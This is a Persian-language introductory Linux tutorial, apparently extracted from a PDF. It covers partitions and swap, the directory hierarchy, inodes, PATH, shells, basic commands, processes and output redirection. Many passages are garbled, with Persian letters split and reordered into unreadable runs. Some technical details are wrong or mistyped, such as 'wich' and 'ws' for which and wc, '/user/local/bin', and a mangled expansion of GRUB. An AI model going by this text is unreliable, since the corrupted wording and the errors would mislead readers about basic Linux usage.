   :RAM مگا بایت ۵١٢مثالی از سيستمی با  . چگونه عمل کنيد

   . گيگ فضا١ با swap پارتيشن ١: اولين امکان
  . مگا بایت فضا۵١٢ با swap پارتيشن ٢: دومين امکان
  . مگا بایت روی هر دیسک۵١٢ پارتيشن با ١)  هارد دیسک٢با :( سومين امکان

  
برای راهنمایی بيشتر مستندات نرم افزار را  . زیادی وجود داشته باشند بهترین نتيجه را می دهد    I/Oخر زمانی که دستگاه های      آانتخاب  

  . مطالعه کنيد
  

برخی دیگر ممکن است از  .  بيشتری احتياج دارندswap، احتمالا به فضای ) DB :Data Base( برخی کاربرد ها همچون پایگاه داده
يچ  دswapه تفاده نکنن ضای  .  اس ستگی دارد  swapف ان ب سته ت ارش ه ه نگ ين ب وکس در   . همچن ای لين ع ه سياری از توزی سته در ب ه

) ها( نيز وجود دارد که هستهboot/در این حالت یک پارتيشن      .زیرا مهمترین فایل سيستم محسوب می شود       .پارتيشن مجزایی قرار دارد   
  .را شامل می شود

  
ستم در      نی ابقيه فضای هارد دیسک معمولا بين پارتيشن های داده تقسيم می شود، با وجود           ی سي ر بحران ه داده های غي که ممکن است کلي

د     ) workstation( کاری   برای مثال زمانی که نصب استاندارد ایستگاه      . یک پارتيشن قرار بگيرند    ه داده های    .را اجرا می کني انی ک زم
  :غير بحرانی در پارتيشن های متفاوت قرار می گيرند، معمولا الگوی زیر اتفاق می افتد

  
  )user(/یک پارتيشن برای برنامه های کاربر 

  ) home(/یک پارتيشن شامل داده های شخصی کاربر 
  ) var(/ صف ها mailو  ی مثل چاپیک پارتيشن برای ذخيره داده های موقت

  ) opt(/یک پارتيشن برای سومين بخش و نرم افزار اضافی
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شن های موجود        .نها اضافه کنيدآشدند،می توانيد تعداد بيشتری به یک بار که پارتيشن ها ساخته       ر ویژگی های پارتي ا تغيي تغيير اندازه ی
ستم      تصميم تقسيم هار  .امکان پذیر است اما توصيه نمی شود       دیر سي ا توسط م شن ه ه پارتي صورت می   ) administrator(د دیسک ها ب

ارد دیسک توسعه                               .گيرد دین ه شن را روی چن زار مناسب یک پارتي رم اف تفاده از ن ا اس مدیر در سيستم های بزرگتر حتی ممکن است ب
ص توزیع در حال نصب، که معمولا یک رابط         در حين فرایند نصب شما می توانيد طرح پارتيشن خودتان را با استفاده از ابزار خا               .دهد

  .است،تعریف کنيد)ان گی هایژابزاری متنی برای ایجاد پارتيشن ها و تنظيم وی (fdiskگرافيکی و یا 
  

نعکس                .اساسا برای استفاده یک شخص است     ) client(نصب ایستگاه کاری یا مشتری     ن موضوع را م رای نصب ای زار انتخابی ب نرم اف
ا صلی بر روی بسته های عمومی کاربر، مانندمی کند و تاکيد ا    رای      بزارهای توسعه   ا،  زمينه دسکتاپ زیب ه های مشتری ب -E، برنام

mail          همه چيز با هم در یک پارتيشن بزرگ قرار می گيرد، فضای  .، نرم افزار چند رسانه ای، وب و دیگر خدمات استswap  ا دو  ب
تفاده          نيز اضافه می گردد و ایستگ      RAMبرابر ظرفيت    رای اس اه کاری شما به طور کلی کامل شده و بيشترین فضای ممکن دیسک را ب

  .شخصی فراهم می کند
  

ند          د در جایی         .در سرویس دهنده، داده های سيستم تمایل دارند که از داده های کاربر مجزا باش ه می دهن ه خدمات را ارائ ایی ک ه ه برنام
اد        .مات وجود دارند، نگهداری می شوند متفاوت با جایی که داده های مربوط به این خد          ا ایج ستم ه ه سي اوتی در اینگون شن های متف پارتي

  :می شوند
  

   .یک پارتيشن با تمام داده های لازم برای راه اندازی ماشين
   .یک پارتيشن با داده های پيکربندی و برنامه های سرویس دهنده

  .و غيرهftp رشيو آ های کاربران،mail ، اول پایگاه دادهیک یا چند پارتيشن شامل داده های سرویس دهنده مانند جد
   .یک پارتيشن با درخواست ها و برنامه های کاربران
   .)دایرکتوری های کاربران(یک یا چند پارتيشن برای فایل های خاص کاربران

   .)حافظه مجازی (swapیک یا چند پارتيشن 
  
  

د آمطمئنا فر. بيشتری دارندswapفضای خدمات دهنده ها معمولا حافظه بيشتر و در نتيجه        ده     ین اه   ) server(های خدمات دهن د پایگ مانن
  . متفاوتی تقسيم می شودswap معمولا به پارتيشن های swapبرای اجرای بهتر، . بيش از حد معمول احتياج داردswapداده،به فضای 

  
تفاده از دستور    در یک سيستم در حال اجرا، اطلاعات در مورد پارتيشن ها می df فرمان  ا اس د ب ) df  )disk full or disk free   توان

   . نشان داده شود
  
ه   h– است و  GNU نگارش dfلينوکس  در ا گزین د        human readable ی سيار تقویت می کن ایی را ب ه قابليت خوان ، حمایت می    را ک
د        و دیگر د   dfتوجه داشته باشيد که سيستم های یونيکس تجاری معمولا نگارش           .کند ار   .ستورات خاص خودشان را دارن ا معمولا    آرفت نه

  . ، خصوصيات بهتر و بيشتری دارندGNUمشابه است، گرچه ابزار عمومی با نگارش 
  

ستم های شبکه          swap تنها اطلاعات پارتيشن های فعال و غير     dfدستور   ایر سي شن های س د شامل پارتي  را نمایش می دهد که می توان
  .باشد

  
  

  ای سيستم فایلسایر طرح بندی ه
  

   :صوری
  

ه می شود                        ی در نظر گرفت ه صورت ساختار درخت ا           .برای راحتی سيستم فایل لينوکس معمولا ب ا ب تاندارد، عموم وکس اس ستم لين در سي
  :بندی زیر مواجه می شوید طرح
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ه ماشين             این طرح .نشان می دهد   بندی سيستم ردهت را    شکل فوق طرح   ستم و وظيف دیر سي ه م ر       بندی بسته ب ونيکس، ممکن است تغيي  ی
  .اسامی نيز لزوما مانند فوق نيستند،و تنها قراردادی هستند.و یا دایرکتوری ها ممکن است کم یا زیاد شوند. کند

شه                 .غاز می شود  آ) سلشا( /درخت سيستم فایل از      وری ری این دایرکتوری تمام زیر دایرکتوری ها و فایل ها را شامل می شود و دایرکت
د، یک              .ار ریشه سيستم فایل ناميده می شود      یا به اختص   شه ان ر از ری ایين ت ا یک سطح پ ه تنه ایی ک وری ه ل از دایرکت سلش  امعمولا قب

ردد         آشان مشخص شود و مانع اشتباه گرفته شدن          قرار ميگيرد تا مکان    شابه گ شه خوب است    . نها با سایر دایرکتوری ها با اسامی م همي
  :ندازیم ااهی به دایرکتوری ریشه بیزمان شروع با یک سيستم جدید، نگ

  
  .زیر دایرکتوری های ریشه را در زیر مشاهده می کنيد

  
/bin : برنامه های عمومی که توسط سيستم توزیع شده اند،مدیر سيستم و کاربران .  
  
/boot : ،فایل های راه اندازی و هستهvmlinuz و همچنين داده هایGRUB  .   
  

 ( GR and Unified Boot Loader ) GRUBکننده هایی که امروزه ميشناسيم بار ،  تلاشی است برای رهایی از راه انداز.  
  
/dev : به کليه سخت افزار های فرعی عاتیشامل مراج CPUکه به صورت فایل هایی با خصوصيات ویژه ارائه می شوند،.  
  
/ : etc         د رار دارن وری ق ن دایرکت ستم در ای دی سي ل های پيکربن رین فای ا داده های موجود در        .مهمت شابه ب وری م ن دایرکت داده های ای

control panelویندوز می باشد .  
  
/home :  دایرکتوری هایhomeکاربران معمولی .  
  
/initrd : )این دایرکتوری را پاک نکنيد.اطلاعات برای راه اندازی)در برخی توزیع ها!  
  
/lib : نامه هایی که مورد نياز کاربران و سيستم استفایل های کتابخانه ای، شامل فایل های کليه بر.  
  
/lost + found :  همه پارتيشن هاlost foundره می شوند، در    . را در دایرکتوری بالاتر خود دارند فایل هایی که در حين خرابی ذخي

  . این محل هستند
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/misc : برای اهداف متفرقه).miscellaneous(  
/mnt :  نقطه اتصال استاندارد)mount point (برای مثال .فایل های خارجی سيستمCD_ROMیا دوربين دیجيتال .  
  
/ : netبرای قرارگرفتن کليه فایلهایی که روی سایر کامپيوتر ها در شبکه قرار دارند.  
  
/opt :  می باشد.) منظور نرم افزارهای توليد شده توسط سایر شرکتهاست(نوعا شامل نرم افزار های شخص ثالث.  
  
/proc:                           ستم می باشد ابع سي ه من ه شامل اطلاعاتی راجع ب ل مجازی است ک ا              .یک سيستم فای ل ه وم فای ه مفه شتر راجع ب اطلاعات بي
  . سيستم فایل مجازی را با جزئيات بيشتر مطرح می کندproc.txtفایل . به دست می ایدman proc با وارد کردن دستور procدر
  
/root : دایرکتوریhomeدایرکتوری ریشه و /فاوت بين به ت. کاربر مدیر،/rootدایرکتوری خانه کاربر ریشه توجه داشته باشيد ، .  
  
/sbin : برنامه های مورد استفاده سيستم و مدیر سيستم.  
  
/tmp :                تفاده اری اس ره هيچ ک رای ذخي اک می شود پس از ان ب فضایی موقت برای استفاده توسط سيستم که پس از راه اندازی مجدد پ

  .نکنيد
  
/usr : برای تمامی برنامه های مربوط به کاربران.برنامه ها،کتابخانه ها،مستندات و غيره.  
  
/var :             اربر ه از اینترنت            .مخزنی برای تمامی فایل های متغير و موقت ایجاد شده توسط ک ایی ک ل ه د فای ا        downloadمانن د و ی  شده ان

  . قبل از رایت شدن انCD از یک imageبرای نگهداری 
  

  ونه متوجه می شوید که یک دایرکتوری به کدام پارتيشن تعلق دارد؟چگ
  

شن متع                 (.)  با نقطه    dfاستفاده از دستور     دام پارتي ه ک وری جاری ب دار         ل به عنوان انتخاب نشان می دهد که دایرکت ورد مق ق است و در م
  .فضایی که پارتيشن استفاده می کند اطلاع می دهد

  
ZXO003:/lib> df –h.  
File system size Used Avail Use% Mounted on /dev/hda7 980M 163M 767M 18%/  

  
 یک   dfبه عنوان یک اصل کلی،هر دایرکتوری در زیر دایرکتوری ریشه، در پارتيشن ریشه قرار دارد،مگر اینکه در یک ليست کامل                     

  .ورودی مجزا داشته باشد
  
  

  اصل سيستم فايل
  

افی  ، سياری از اعمال مدیریت سيستم    برای بسياری از کاربران و برای ب       ا در یک ساختار                ا ک وری ه ا و دایرکت ل ه ه فای د ک ست بپذیرن
  .اگرچه کامپيوتر چيزی در مورد درخت ها و یا ساختار های درختی نمی داند.درخت مانند مرتب شده اند

  
ستم  با در نظر گرفتن کليه سيستم های فایل ب.هر پارتيشن، سيستم فایل خاص خودش را دارد      ا هم،می توانيم نظریه ساختار درختی کل سي

 نشان داده می شود، که نوعی شماره سریال است inodeدر سيستم فایل هر فایل با یک .را شکل دهيم، اما کار به همين سادگی هم نيست        
د                   رده ان اد ک ل را ایج ق است      :که شامل اطلاعاتی راجع به داده های واقعی است که فای ه چه کسی متعل ل ب ارد دیسک    فای ، و در کجای ه

  .قرار دارد
  

ا شماره         . های خودش را دارد   inodeهر پارتيشن مجموعه     ایی ب دد،فایل ه شن های متع ا پارتي ستمی ب  های یکسان وجود    inodeدر سي
رده،و شامل محل فيزیک                         inodeهر   .دارند ره ک ل را ذخي ی  یک ساختار داده را بر روی هارد دیسک شرح می دهد،که ویژگی های فای

ستم              .داده های فایل می باشد     د نصب سي زمانی که هارد دیسک برای پذیرفتن منبع داده ها مقدار دهی اوليه می شود،معمولا در حين فراین
ابتی از                  داد ث ستم موجود،تع ه سي اد می شوند          enodeاوليه یا هنگام افزودن دیسک های اضافی ب شن ایج ا در پارتي شترین    . ه داد بي ن تع ای

ا و             (از هر نوعی  مقدار فایل ها     د ه ل های خاص،پيون وری ها،فای ه دایرکت ند،        ...) از جمل شن باش ان روی پارتي د در یک زم ه می توانن ک
يم      کيلو ٨ تا   ٢ در فضایی بين     inode ١ما نوعا روی داشتن     .خواهد بود  اد شد،یک        .بایت فضا حساب می کن دی ایج ل جدی ه فای انی ک زم

inode در این .زاد را اختيار می کندآinode می باشد  اطلاعات زیر موجود:  
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  .و گروه دارنده فایل)owner(صاحب  -١
  
  ...).نرمال،دایرکتوری و(نوع فایل -٢
  
  .اجازه دسترسی به فایل -٣
  
  .تاریخ و ساعت ایجاد،اخرین خواندن و تغيير -۴
  
  . تغيير کرده اندinodeتاریخ و ساعتی که این اطلاعات در  -۵
  
  .ین فایلتعداد پيوند ها به ا -۶
  
  .اندازه فایل -٧
  
  .درسی که محل واقعی داده های فایل را تعریف می کند آ-٨
  

ره  .نام فایل و دایرکتوری می باشد ،  شامل ان نمی شودinodeتنها اطلاعاتی که    این اطلاعات در داخل دایرکتوری های خاص فایل ذخي
وند ی ش ای  .م ماره ه ا و ش ل ه امی فای سه اس ا مقای سinodeب ی    ها،سي اربر آن را درک م ه ک ی است ک اختار درخت اد س ه ایج ادر ب تم ق

ی مختص خودشان    ها فضای مجزاinode. نمایش دهندls در دستور i– ها را با استفاده از گزینه inodeکاربران می توانند شماره  .کند
  .را بر روی دیسک دارند

  
  

  آشنايی با سيستم فايل
  
  

  مسير
  

به عنوان مثال، ما .هيد که دستوری را اجرا کند،معمولا مجبور نيستيد که مسير کامل ان دستور را بدهيدزمانی که شما از سيستم می خوا      
ه            bin/ در دایرکتوری    lsمی دانيم که دستور      د،نياز نيست ک وری جاری را ليست کن  قرار دارد،اما برای اینکه کامپيوتر محتوای دایرکت

  . را وارد کنيمbin/ls/فرمان 
  

دا می              . از این ویژگی حمایت می کند      PATHمتغير محيطی    ا پي ی در ان ج ل های اجرای این متغير دایرکتوری هایی در سيستم را که فای
د                 بنابر و .شوند،فهرست می کند   داری می کن اربر نگه ه طور     .این از بسياری از انواع و مکانهای حفاظت شده دستورات ک پس مسير ب

ه        انی از اسمشان شامل        طبيعی شامل دایرکتوری های بسياری است ک شان داده شده       bin هر یک مک ه ن ه در ادام ند،همانگونه ک  می باش
  : استفاده شده استpathمتغير) $یا ( برای نشان دادن محتوای echoفرمان.است

  
Rogier:> echo $PATH 
/opt/local/bin:/usr/X11R6/bin:/usr/bin:/usr/sbin/:/bin 

  
 برای برنامه مورد نياز جستجو      متعاقباً bin/وopt/local/bin،/usr/X11R6/bin،/usr/bin،/usr/sbin/در این مثال دایرکتوری های      

ه باشد                    .می شوند  ن حالت   .به محض پيدا شدن، جستجو متوقف می شود حتی اگر جستجو در همه دایرکتوری های مسير صورت نگرفت ای
ام   در اولين مثال زیر کاربر می دان      .می تواند منجر به وضعيت غریبی شود       ه ن تادن   sendsmsد که برنامه ای ب رای فرس  وجود  SMS ب

  : استPATHتفاوت در پيکر بندی متغير .دارد و کاربر دیگری روی همان سيستم قادر است از ان استفاده کند،اما نمی تواند
  

]jenny@blob jenny]$ sendsms 
bash:sendsms: command not found 
]jenny@blob jenny]$ echo $PATH 
/bin:/usr/bin:/usr/bin/x11:/usr/X11R6/bin:/home/jenny/bin 
]jenny@blob jenny]$ su – tony 
Password: 
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Tony:~>which sendsms  
Sendsms is /user/local/bin/sendsms 
 
Tony:~echo $PATH 
/home/tony/bin.Linux:/home/tony/bin:/usr/local/bin:/usr/local/sbin :\  
/usr/X11R6/bin:/usr/bin:/usr/sbin:/bin:/sbin 

  
د      su (switch user)ابزار  توجه کنيد که استفاده از اربری را می داني ور ک ه عب ه کلم  ،  به شما این امکان را می دهد که در شرایطی ک

  .را در محيط ان کاربر اجرا کنيد.)ینده توضيح خواهيم دادآ در قسمت های shellدر مورد ) (shell( پوسته
  
  . یک خط را از بقيه جدا کندenter  نشان دهنده ادامه خط است، بدون اینکه\
  

اقی رخ نمی       wc (word count)کاربر مایل است با فراخوان دستور  ، در مثال بعد د،اما هيچ اتف ل را بررسی کن  تعداد خطوط یک فای
  : متوقف کندCTRL+Cدهد و مجبور می شود که این عمل را با استفاده از کليد های ترکيبی 

  
Jumper:~> wc –l test 
)ctrl-c( 
Jumper:~> which wc 
wc is hashed (/home/jumper/bin/wc( 
 
jumber:~> echo $PATH 
/home/jumper/bin:/usr/local/bin:/usr/local/sbin:/usr/x11R6/bin :\  
/usr/bin:/usr/sbin:/bin:/sbin 

  
وری   خود یک داhome به ما نشان می دهد که این کاربر در دایرکتوری         wichاستفاده از فرمان     ه ایست     binیرکت ه شامل برنام  دارد ک

رای فراخوانی     ی نجایآاز . را فراخوانی کرده استwsکه   سيرها ب ام جستجوی م وری    wcکه هنگ ه در دایرکت دا برنام ا home ،ابت بر ر ک
يم              وریم ان را متوقف کن رای حل   .پيدا شده است،این برنامه اجرا شده است،احتمالا با ورودی متوجه نمی شود، پس مجب سئله راه   ب ن م ای

سياری وجود دارد               (های بسياری هست   ونيکس راه های ب ا ی وکس ی سائل در لين رای حل م د نامگذاری مجدد      ):هميشه ب یک پاسخ ميتوان
ه  a–را دارد، بدهد که می تواند با استفاده از  نآکامل را به فرمانی که قصد اجرای     کاربر باشد، و یا کاربر می تواند مسير          wsبرنامه    ب
  : به دست ایدwichردستو

  
Jumper:~> /usr/bin/wc –l test 
١٠ test 

  
وری های خویش را       آن رااگر کاربر بيشتر از برنامه هایی در دیگر دایرکتوری ها استفاده می کند،می تواند مسير             ا دایرکت د ت  تغيير ده

  :ببيند
  

Jumper:~> export PATH=/usr/local/bin:/usr/local/sbin:/usr/x11R6/bin :\  
/usr/bin:/usr/sbin:/bin:/sbin:/home/jumper/bin 

  
  

  !تغييرات ثابت نيستند
  

ه از دستور                انی ک ه زم يد ک ان         ) shell(  در پوسته  exportتوجه داشته باش ان زم ا در هم وقتی هستند و تنه د،تغييرات م تفاده می کني اس
  ). می کنيدlog outتا زمانی که (معتبر هستند

  
  مسيرهای مطلق و نسبی

  
ه درخت   آرا در ساختار درختی دنبال کنيد تا به فایل داده شده برسيد،می تواند به عنوان  سير، یعنی راهی که احتياج دارید ان    م ( / غاز تن

ه خطایی                         آ/ در این حالت مسير با      .توصيف شود ) یا دایرکتوری ریشه   ه امکان هيچ گون ده می شود،چرا ک ق نامي غاز شده و مسير مطل
  .یک فایل در سيستم می تواند یافت شودتنها : وجود ندارد
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رفتن          آ/ در حالتی دیگر، مسير با       تباه گ وری     (BIN/WC/~غاز نمی شود و امکان اش اربر  homeدر دایرکت ا ) ک  از usr/ در  bin/wc ب

  .غاز نمی شوند همواره نسبی هستندآ/ مسير هایی که با .مثال قبل وجود دارد
يم            )  نقطه ٢..(و  ) نقطه.(ت  در مسير های نسبی ما همچنين از علاما        تفاده می کن د اس مجموعه  .برای دایرکتوری جاری و دایرکتوری وال

  :ای از مثال های عملی
  
دی دیگری در محل دیگری از                      •  ه پيکربن ه از اجرای برنام ان ک زمانی که قصد ترجمه کد مبدا را دارید،معمولا مستندات نصب همزم

وری جاری   configure./می کند تا فرمان سيستم ممانعت می کند، شما را راهنمایی         را اجرا کنيد،که برنامه پيکربندی را که در دایرکت
  .قرار دارد اجرا کند

  
ند          HTMLدر فایل های  •  انی دیگر باش ه مک ال ب ل انتق ه اسانی قاب ه ب  مسير های نسبی معمولا برای ساختن مجموعه ای از صفحات ک

  :مورد استفاده قرار می گيرند
  
  :دیگر به تفاوت توجه کنيدیکبار • 
  

Theo:~> ls/mp3 
Is: /mp3: no such file or directory 
Theo :~>s mp3/ 
Oriental/ pop/ sixties/ 
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  )مقدمه  ( shellمباحثی پيرامون 
  

  .ه را به این موضوع اختصاص می دهيم در لينوکس دارد، این قسمت و چند قسمت آیندshellبه دليل اهميت بالایی که مفهوم 
  

  مهمترین فایل ها 
  

  هسته
  

ابع،     .منابع لينوکس و ارتباط بين سخت افزار های اصلی و جانبی را مدیریت می کند              . هسته قلب سيستم عامل لينوکس است      منظور از من
اپگر،              برای مثال توا  .می گذارد  کليه تسهيلات و امکاناتی است که این سيستم عامل در اختيار             ا توسط چ ره داده ها،چاپ داده ه ایی ذخي ن

رد                   هسته تصميم می گيرد    .حافظه، مدیریت فایل و غيره     د ک تفاده خواه ابع اس ن من ن     . که چه کسی، کی و برای چه مدت از ای ين ای همچن
هسته وظایف مهم دیگری نيز .ندیندها و از جمله فرایند های سرور،دقيقا در زمان صحيح آغاز شده و پایان یاب            آاطمينان را می دهد که فر     

  .برای شروع تنها کافيست بدانيم که هسته مهمترین فایل سيستم است.دارد 
  

SHELL 
  

ان    .دویی ناميده می شود  ها است که زبان دو١ و ٠زبانی که کامپيوتر درک می کند زبانی از         ين زب ا هم دستورات کامپيوتری در واقع ب
ستم عامل وجود دارد     . سر و کار دارند   تمامی ما مشکل است    که خواندن و نوشتن آن برای      دویی دو به این ترتيب برنامه خاصی در سي

ان دو shell .  ناميده می شود   shellکه     دستورات و فرامين را به زبان انگليسی می پذیرد و سپس آن را به زبان کامپيوتر یعنی همان زب
  .می کند دویی ترجمه 

  
Shell     تاندارد            یک مفسر زبان دستوری ا زار ورودی اس ه از اب د   ( ست که دستوراتی را ک ده است، اجرا می             ) صفحه کلي ل خوان ا فای و ی
د ی از   .کن ولا از یک وکس معم داوللين رین مت د    shell ت ی کن تفاده م ر اس ای زی ان MS-DOS ،COMMAND.COM در.( ه  هم

SHELL است که اهداف مشابهی دارد اما به اندازه SHELLيست در لينوکس قدرتمند ن(.  
  

  : و توضيحی مختصر درباره آنها Shellانواع 
  
  

BASH (Bourne-Again Shell)  
  

   . در لينوکسshellمتداول ترین 
  

CSH (C Shell) :  
  

  . استC بسيار مشابه زبان برنامه نویسی CSHگرامر و طرز استفاده از 
  

KSH( Korn Shell) : 
  

  .یک مدل دیگر است 
  

  : )به طور کلی (SHELLانواع 
  

  : ها سر و کار داردSHELL همان گونه که افراد زبان ها و لهجه های متفاوتی را می شناسند، کامپيوتر نيز با انواع مختلفی از
  

 Sh یا Shell Bourne :shell        تفاده می شود ونيکس اس ه ی سته ب ن  . اوليه که هنوز در سيستم های یونيکس و محيط های واب ای
shellت کوچک با ویژگی هایی اندکبرنامه ای اس ،  پایه است .  

  
 Bash یا Shell (Bourne Again) : shell استاندارد GNU دی   .است اربران مبت . احتمالا بهترین نوع برای استفاده توسط ک

ا      رای ک د ب زاری قدرتمن ه ای محسوب    رعلاوه بر اینکه اب شرفته و حرف وکس  .می شود   بران پي تاندارد  bash ،shellدر لين  اس
وع                 Bourneجایگزین نوع     می تواند    shellاین نوع   .عمومی است برای کاربران    ه دو ن ی است ک دان معن ن ب  shell شود و ای
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وع    Shellدستوراتی که در    :هستند مذکور با یکدیگر قابل مقایسه       د، در       Sh ن د    bash عمل می کنن ار می کنن ز ک در حاليکه  .ني
  .این مطلب هميشه درست نيست عکس

  
 csh یا shell C: این نوع مشابه زبان برنامه نویسی ) دستوری(ه که گفته شد، از لحاظ نحویهمانگونCگاهی اوقات . می باشد

  .مورد استفاده برنامه نویسان قرار می گيرد
  

 tcsh یا shell turbo C:  جانشينshell عمومی Cکه سرعت آن افزایش یافته است ،.  
  

 Ksh یا shell Korn : جانشينshell Bourne استاندارد و کابوسی برای کاربران مبتدی با پيکربندی.  
  

اربر            ) از طریق صفحه کليد یا ماوس     (هر یک از انواع ذکر شده دستورات کاربر را می خواند           ه ک د ک وکس می گوی و به سيستم عامل لين
  : استفاده می کنيد، دستور زیر را تایپ کنيد shellبرای این که بدانيد از کدام نوع  .چه چيزی می خواهد

  
 $echo $SHELL 

  
   :SHELLطریقه استفاده از 

  
تفاده از   log inشما به محض  ( shellبرای استفاده از  ه اس د  shell کردن به سيستم شروع ب د    .)  می کني د دستورات را تایپ کني در . بای

  :ادامه ليستی از متداولترین دستورات آمده است
  

   :فرمان های معمول در لينوکس
  

ه دس  يد ک ته باش ه داش دی است  توج ا مبت د ی اربران جدی رای ک ا ب ر تنه ن   . تورات زی تفاده از ای ه اولا در صورت اس ن است ک دف ای ه
ن دستورات در   آش سيستم خود SHELLدستورات بيشتر با  د   SHELL SCRIPTنا شوید و ثانيا شما به برخی از ای اج داری .  خود احتي

ه  اگر کمک و یا اطلاعات بيشتری را راجع به دستوری بخواهيد    ، می توانيد از دستور زیر که به عنوان مثال برای دیدن کمک و یا گزین
  : است، استفاده کنيدdateهای مربوط به فرمان 

  
 $date - -help 

  
   :lsیا برای دیدن کمک یا گزینه های مربوط به فرمان 

  
 $ls - -help | more  

  
  : افتدببينيد زمانی که دستورات زیر را تایپ می کنيد چه اتفاقی می

  
 $man ls 
 $info bash 

  
   :فرمان های لينوکس

  
  

   :موارد استفاده:  فرمان  اییشکل گرامر
  

date : برای مشاهده تاریخ.  
who : تعيين اینکه چه کسی از سيستم استفاده می کند.  
pwd: دایرکتوری های مشغول به کار را چاپ می کند.  

ls یا dirs: ی را فهرست می کندفایل های موجود در دایرکتوری جار.  
  

رل                : نکته. برای ایجاد فایل متنی    : cat} < نام فایل   {  د کنت ل کلي ه فای ان دادن ب ا پای رای توقف ی د    ) CTRL(ب د و کلي  را Dرا نگه داری
   .)CTRL+ D.(بزنيد
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  .برای دیدن فایل های متنی : cat} نام فایل{
  
  .full screenصورت برای نمایش یک فایل در هر زمان به : more} نام فایل{
  
   .برای تغيير مکان و یا تغيير نام فایل یا دایرکتوری: mv } ١فایل } {٢فایل {
  
دیمی  .برای ایجاد کپی های چند تایی از فایل با پيوند های مختلف       : ln} فایل قدیمی } {فایل جدید { بعد از این دستور هر دو فایل جدید و ق

  .ر برای پيوند یک نام فایل به نام فایل دیگربه عبارت دیگ.به یک نام ارجاع می دهند
  

   .برای حذف فایل: rm ١فایل
  
د     :rm – rf} نام دایرکتوری{ سيار     .تمامی فایل های دایرکتوری یا زیر دایرکتوری داده شده را حذف می کن ان ب ن فرم تفاده از ای در اس

  .دقت کنيد
  
  .برای تغيير اجازه دسترسی به فایل : chmod} نام فایل{
  

mail : می توانيدmailخود را با این فرمان بخوانيد .  
  

who am i :برای مشاهده اطلاعات بيشتر راجع به کاربر جاری.  
  

logout)  یاCTRL+D : (برای خارج شدن)log out.(  
  
  . به شخص دیگرmailارسال : mail} نام کاربر{
  
  .برای شمارش خطوط، کلمات و حروف فایل داده شده: wc} نام فایل{
  
  .برای جستجوی خطی که با الگوی داده شده مطابقت دارد، در فایل مشخص شده: grep} کلمه مورد نظر} {نام فایل{
  
  :برای مرتب سازی فایل به یکی از ترتيب های زیر:sort –r –n –nr} نام فایل{
  

- r :عکس ترتيب عادی.  
- n:مرتب سازی به ترتيب عددی.  
- nr:یمرتب سازی به ترتيب عکس عدد.  

  
  .برای چاپ اولين یا اخرین خط فایل داده شده+:  |- tail} شماره خط} {نام فایل{
  
  .برای مقایسه فایل ها: diff} ١فایل} {٢فایل{ یا cmp} ١فایل} {٢فایل{
  
  .برای چاپ فایل : pr} نام فایل{
  
  

Processesچيست؟    
  

Process) هر نوع برنامه یا کاریست که توسط ) فرایندPCبرای مثال .جام می شود شما ان $ls – IR     رای ا درخواست ب  ،یک دستور ی
ت            اری شماس وری ج ای دایرکت وری ه ر دایرکت ام زی وری و تم ود در دایرکت ای موج ل ه ردن فای ت ک د    .فهرس وع فراین ک ن ن، ی ای

 را processشما یک در لينوکس زمانی که .برای انجام یک سری کارهاست) دستور داده شده توسط کاربر ( ،یک برنامه  process.است
  . است۶۵۵٣۵ تا ٠ عددی از PID، .)  می گویندProcess-ID یا PIDکه به ان (می گيرد، اغاز می کنيد، هر فرایند یک شماره 

  
  

   احتياج است؟processچرا به 
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ند را به طور همزمان اجرا  فرای٢به این معنی که اگر بخواهيد می توانيد بيش از     .لينوکس یک سيستم عامل چند کاربره و چند کاره است         
  :به عنوان مثال برای اینکه بدانيد چه تعداد فایل روی سيستم خود دارید، ممکن است دستوری مانند زیر را بدهيد.کنيد

  
 $ls / -R | wc – l 

  
رد                 ستم می گي ين دستوری را در               .این دستور زمان زیادی را برای جستجوی تمامی فایل های سي د چن  backgroundپس شما می تواني

  :اجرا کنيد یا به طور همزمان با دادن دستوری مثل
  

 $ls / -R | wc –l&  
  

ان   shellدر انتهای فرمان، به & علامت  ه فرم د ک د و   ) ls / -R | wc –l(  اعلام می کن را در  آرا آغاز کن د و   backgroundن  اجرا کن
ده می شود   PID چاپ می شود  shell که توسط مثال فوق یک فرایند است و عددی . بلافاصله دستور بعدی را بگيرد  ن  . نامي  PIDاز ای

  .در حال اجرای مشخص استفاده شود) process(ممکن است برای ارجاع به یک پروسه
  
  

   در لينوکسprocessفرمان های مرتبط با 
  

  موارد استفاده: نام فرمان 
  

ps :برای مشاهده پروسه در حال اجرای جاری.  
  

Kill {PID} :قف کردن هر پروسهبرای متو.  
  

ps – ag: برای گرفتن اطلاعات در مورد تمام پروسه های جاری.  
  

Kill 0 :  برای متوقف ساختن کليه فرایند ها به جزshell.  
  

linux-command&  : های   یندآبرای فرbackground)    ه ای خاص در                & علامت ا برنام رار دادن دستور ی رای ق  backgroundب
  .)استفاده می شود

  
د                 هست وجه داشته باشيد که شما تنها قادر      ت د، متوقف کني رده ای اد ک ان ایج ه خودت ایی را ک د    administrator.يد پروسه ه  معمولا می توان

  .VDUاما برخی پروسه ها نمی توانند متوقف شوند، مانند .پروسه ها را متوقف کند% ٩٨-٩۵
  

  خروجی استاندارد/تغيير مسير ورودی
  

ن امکان وجود                            اغلب تمامی فرمان ها      وکس ای ا در لين د، ام ،خروجی را به صفحه نمایش می دهند و ورودی را از صفحه کليد می گيرن
د    ls$ برای مثال فرمان    .دارد که خروجی به فایل فرستاده شود و یا ورودی از فایل خوانده شود              ا  . خروجی را به صفحه نمایش می ده ام

  . را به فایل مشخص شده بفرستlsمعنی فرمان این است که خروجی فرمان . فرستد خروجی را به فایل می ls > filename$ فرمان 
  
  .<و << و > :  نماد اصلی برای تغيير مسير وجود دارد٣
  
  < نماد تغيير مسير ) ١(
  

  فرمان لينوکس< نام فایل : شکل گرامری دستور
  

سی می شود          وجود داشته باشد،   توجه داشته باشيد که اگر فایل     .برای اینکه خروجی به فایل فرستاده شود       وط     (باز نوی ا خروجی مرب و ) ب
  :، دستور روبه رو را بدهيدlsبرای مثال برای فرستادن خروجی فرمان  .در غير این صورت فایل جدیدی ایجاد می شود

  
 $ls > myfiles 
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ل       ا با                   ” myfiles“حال اگر فای وع اعلام خط وری جاری شما موجود باشد،بدون هيچ ن سی   در دایرکت ه     .(می شود    زنوی در صورتی ک
  .)بخواهيد محتوای فایل قبلی را نيز حفظ کنيد، باید از نماد تغيير مسير بعدی استفاده کنيد

  
  
  <<نماد تغيير مسير ) ٢(
  

  فرمان لينوکس<< نام فایل : ی دستور  شکل گرامر
  

داده /ود باشد،فایل باز خواهد شد و بدون حذف اطلاعاتتوجه داشته باشيد در صورتی که فایل وج  .برای فرستادن خروجی به انتهای فایل     
